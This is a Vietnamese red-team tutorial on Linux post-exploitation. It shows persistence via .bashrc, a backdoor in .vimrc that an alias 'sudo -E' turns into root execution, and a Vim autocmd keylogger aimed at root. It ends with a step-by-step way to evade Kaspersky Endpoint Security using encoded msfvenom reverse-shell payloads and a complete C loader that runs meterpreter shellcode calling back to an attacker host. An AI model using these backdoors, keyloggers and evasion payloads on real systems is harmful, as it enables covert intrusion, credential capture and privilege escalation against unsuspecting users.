Kỹ thuật Post-Exploitation trong Red Team - Linux
Post-Exploitation luôn là quá trình tối quan trọng trong Kill-Chain của Red Team. Nó quyết định bạn phải làm gì tiếp theo sau khi đã chiếm quyền điều khiển thành công một máy chủ. Vài gạch đầu dòng dưới đây, sẽ giúp các bạn hình dung rõ hơn về kỹ thuật thú vị này
1. Tệp tin cấu hình
Trong hệ thống Linux, các ứng dụng thường lưu trữ các tệp cấu hình dành riêng cho người dùng.Đây được coi là những tệp tin đặc biệt có dấu chấm đằng trước tên
. Những tệp này thường không hiển thị theo cách thông thường (ls
) mà phải dùng câu lệnh đặc biệt ls -la
Các tệp tin cấu hình kiểm soát cách ứng dụng hoạt động đối với một người dùng cụ thể và thường thì chỉ người dùng đó hoặc root mới có thể ghi được. Nếu chúng ta xâm phạm hệ thống của một người dùng nhất định, chúng ta có thể sửa đổi các tệp cấu hình này và thay đổi cách chúng hoạt động. Là một Pentester,đây là một vector tấn công hữu ích.
Hai ví dụ phổ biến nhất của dotfiles là .bashrc và .profile. Các tệp này thiết lập các cài đặt được sử dụng trong shell của người dùng và khác biệt giữa chúng ta tương đối nhỏ.
.profile được thực thi ngay từ khi đăng nhập ban đầu vào hệ thống (đăng nhập lần đầu vào máy, hay kết nối SSH) còn .bashrc được thực thi khi có một Terminal mới được khởi tạo
Chúng ta có thể sửa đổi .profile hoặc .bashrc để cài đặt các biến, hoặc run command khi người dùng đăng nhập lần đầu vào hệ thống. Điều này có thể hữu ích khi persistence, leo thang đặc quyền hoặc tham gia vào các hoạt động tấn công khác
Ví dụ:
lab@vpn:~$ echo "touch /tmp/bashtest.txt" >> ~/.bashrc
lab@vpn:~$ ls -al /tmp/bashtest.txt
ls: cannot access '/tmp/bashtest.txt': No such file or directory
lab@vpn:~$ /bin/bash
lab@vpn:~$ ls -al /tmp/bashtest.txt
lab@vpn:~$ exit
lab@vpn:~$
Ở đây câu lệnh "touch /tmp/bashtest.txt" đã được thêm vào .bashrc và sẽ được thực thi ngay sau khi khởi chạy một terminal mới hay một session mới
1.1. Tạo Backdoor với VIM
Phần này chúng ta sẽ học cách sử dụng dotfiles của VIM text-editor để tạo backdoor tấn công người dùng
VIM editor là một text-editor được sử dụng rộng rãi trên Linux và được cài đặt mặc định gần như trên tất cả các hệ thống Unix/Linux. Nó nổi tiếng với nhiều chức năng và do đó, mang đến cho chúng ta nhiều tiềm năng để khai thác
VIM sử dụng tệp tin cấu hình với tên gọi .vimrc được đặt trong home directory của người dùng. Tệp này nhận các script-command và các cấu hình VIM khi người dùng khởi động nó. Bằng cách chỉnh sửa tệp tin này, chúng ta có thể khiến VIM của người dùng - thay mặt họ thực hiện các hành vi không mong muốn
Khi người dùng sử dụng VIM, command sẽ tự động được gọi ra
Theo mặc định, VIM cho phép các chạy các Shell command, nhưng trong một số trường hợp nhất định quản trị viên đã hardened để ngăn chặn điều này xảy ra. Chúng ta có thể sử dụng tùy chọn -Z để kiểm tra. Nếu không thành công sẽ xuất hiện một thông báo lỗi.
Ta dễ dàng nhận thấy command được "output" ra một cách chi tiết - rõ ràng, điều này là rất bất lợi cho quá trình tấn công. Để khắc phục điều này, ta có thể sử dụng :source
để gọi command từ các file khác
Thời điểm này chúng ta vẫn chưa thấy ý nghĩa của việc này vì cơ bản chúng ta không có nhiều đặc quyền hơn. Những gì người dùng làm được thì chúng ta vẫn có thể tự thực hiện trên shell. Tuy nhiên nó sẽ hữu ích trong trường hợp chúng ta không thể thực hiện các hoạt động với tư cách root thông qua sudo vì chúng ta không có mật khẩu người dùng
Cách VIM xử lý các tệp cấu hình của nó (với người dùng sudo) tùy thuộc vào bản phân phối. Trong các bản phân phối Ubuntu hay RedHat VIM sử dụng .vimrc hiện tại ngay cả khi sử dụng sudo , còn trong Debian nó sẽ dùng .vimrc của root
Ví dụ khi ta đã chèn được Malware vào .vimrc trong /home/hoanguye/.vimrc
, thì trên Ubuntu/RedHat khi khởi chạy sudo vim
file này sẽ được thực thi. Còn trên Debian nó sẽ tìm tới cấu hình /root/.vimrc
, do đó file này sẽ không được chạy
Trong trường hợp này, Malware.sh đã được ghi vào .vimrc - khi người dùng khởi chạy Vim (với sudo trên Ubuntu/Debian) câu lệnh sẽ được thực thi với quyền root
Đó là trên Ubuntu hay RedHat , còn trên hệ thống khác như Debian, người dùng phải chạy sudo -E vim
thì khi đó .vimrc của chúng ta mới được thực thi. Thay vì để người dùng tự gõ, ta thực hiện set alias trên máy thông qua .bashrc
alias sudo="sudo -E"
Lúc này , khi người dùng thực thi với sudo , cấu hình .vimrc độc hại của chúng ta sẽ được khởi chạy.
1.2. Tạo Keylogger với VIM
Như đã đề cập từ trước đây, chúng ta có thể sử dụng các câu lệnh khác nhau ghi vào .vimrc
của VIM để thực hiện các hành động khi người dùng khởi động hoặc trong phiên chỉnh sửa. VIM cung cấp cho Hacker xác định các hành động sẽ được kích hoạt khi thỏa mãn các điều kiện (if else) , điều này được thực hiện thông qua autocommands
.
Một số "sự kiện" có thể kể tới như VimEnter ( nhập VIM) , VimLeave (rời khỏi VIM) , FileAppendPre (trước khi gắn vào tệp), BufWritePost có thể cung cấp các cách kích hoạt khác nhau để thực hiện các hành động có thể có lợi cho kẻ tấn công.
Ví dụ ta có
:autocmd BufWritePost * :silent :w! >> /tmp/keylog.txt
- autocmd : Xác định rằng chúng ta đang định nghĩa một command tự động
- BufWritePost: Kích hoạt sau khi bộ đệm được ghi vào một tệp
- "*" : Chỉ ra hành động này sẽ thực hiện với tất cả các file ( chúng ta có thể thay đổi đẻ chỉ định một extension cố định hay một tên tệp cụ thể)
- :silent : không hiển thị khi người dùng khởi chạy VIM
- :w! : Lưu nội dung Buffer
- /tmp/keylog.txt : Nội dung sau khi lưu trữ
Ở đây ra thấy thằng, tất cả những gì người dùng lưu !w
đểu bị ghi lại, còn trong trường hợp người dùng chỉ mở file ra xem rồi quit !q
thì keylog của chúng ta sẽ không ghi nhận được (do không có hành động BufWritePost)
Tuy nhiên trường hợp này dễ dàng chúng ta thấy. keylog sẽ ghi lại toàn bộ VIM của tất cả người dùng, điều này làm khả năng xác định tính chính xác khó khăn và đôi khi là không cần thiết. Do đó chúng ta có thể sử dụng if-else để chỉ định "lưu lại" command của một người dùng được chỉ định
VIM hỗ trợ cú pháp if-else đơn giản như sau
:if <some condition>
:<some command>
:else
:<some alternative command>
:endif
Thực hiện việc detect và lưu lại bộ gõ của tài khoản root ta có
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/hackedfromvim.txt
:endif
2. Bypass Anti Virus
Kaspersky Endpoint Security là phần mềm diệt virus hoạt động trên nền tảng Linux của Kaspersky - một công ty nổi tiếng thế giới trong lĩnh vực phòng chống mã độc.
Trong phần này, chúng ta sẽ tìm hiểu cách bypass nó để thực thi mã độc hại.
2.1. Cài đặt Kaspersky Endpoint Security
Step 1. Truy cập https://www.kaspersky.com/small-to-medium-business-security/endpoint-linux
Step 2. Tải phiên bản thích hợp và thực thi
sudo dpkg -i kesl_11.1.0-3013_amd64.deb
Step 3. Chạy file cấu hình
sudo /opt/kaspersky/kesl/bin/kesl-setup.pl
2.2. Bypass Kaspersky Endpoint Security
Theo mặc định, Kaspersky Endpoint Security cho phép bảo vệ theo thời gian thực. Để quá trình tạo payload diễn ra thuận lợi, chúng ta cần vô hiệu hóa tính năng này
Nếu chúng ta không tắt tính năng này,các tệp malware của chúng ta sẽ bị xóa ngay lập tức khi tải xuống hay truy cập - trong tương lai, chúng ta sẽ tiến hành scan thủ công
Đầu tiên, chúng ta sẽ tìm kiếm và kiểm tra EICAR test file trong /opt/av/eicar.txt
Đây là tệp tin mẫu, để các AV xác định mã độc . Trong quá trình thử nghiệm nếu tệp bị xóa, chúng ta có thể tái tạo lại bằng cách sử dụng lệnh sau
sudo gpg -d eicar.txt.gpg > eicar.txt
hoặc tải về tại đây
Tiến hành scan với Kaspersky Endpoint Security
sudo kesl-control --scan-file ./eicar.txt
Mã độc hại bị phát hiện và tiêu diệt
Để xem lại log , chúng ta có thể sử dụng truy vấn sau
sudo kesl-control -E --query | grep DetectName
Thử lại với các payload thông thường từ Metasploit Framework
Trường hợp 1. Tạo mã độc với msfvenom theo cách thông thường và sử dụng Kesl để scan
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf
sudo kesl-control --scan-file shell.elfthực
Mã độc hại bị phát hiện và tiêu diệt !
Trường hợp 2. Tạo mã độc với msfvenom "x86/shikata_ga_nai" và sử dụng Kesl để scan
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > shell.elf
sudo kesl-control --scan-file shell.elf
Mã độc bị phát hiện và tiêu diệt !
Trường hợp 3. Tạo mã độc với msfvenom "x64/zutto_dekiru" và sử dụng Kesl để scan
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x64/zutto_dekiru -f elf > shell.elf
sudo kesl-control --scan-file shell.elf
Umm!!, phần mềm đã không nhận dạng được đây là mã độc hại
Tiếp cận theo cách "bán thủ công"
Tạo Shellcode với msfvenom
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f c
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x11\x5c\x0a\x94\x00\x02\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include các thư viện trong C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
hàm main()
int main (int argc, char **argv)
{
// Run our shellcode
int (*ret)() = (int(*)())buf;
ret();
}
Hàm main() nhận 2 đối số, 1 số nguyên gọi là argc và argv
Chương trình đầy đủ
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x1f\x90\x0a\x94\x00\x02\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main (int argc, char **argv)
{
// Run our shellcode
int (*ret)() = (int(*)())buf;
ret();
}
Biên dịch với gcc và kiểm tra mã độc với Kesl
gcc virus.c -o virus.out -z execstack
chmod +x virus.out
Bypass thành công, tiến hành thực thi payload
All Rights Reserved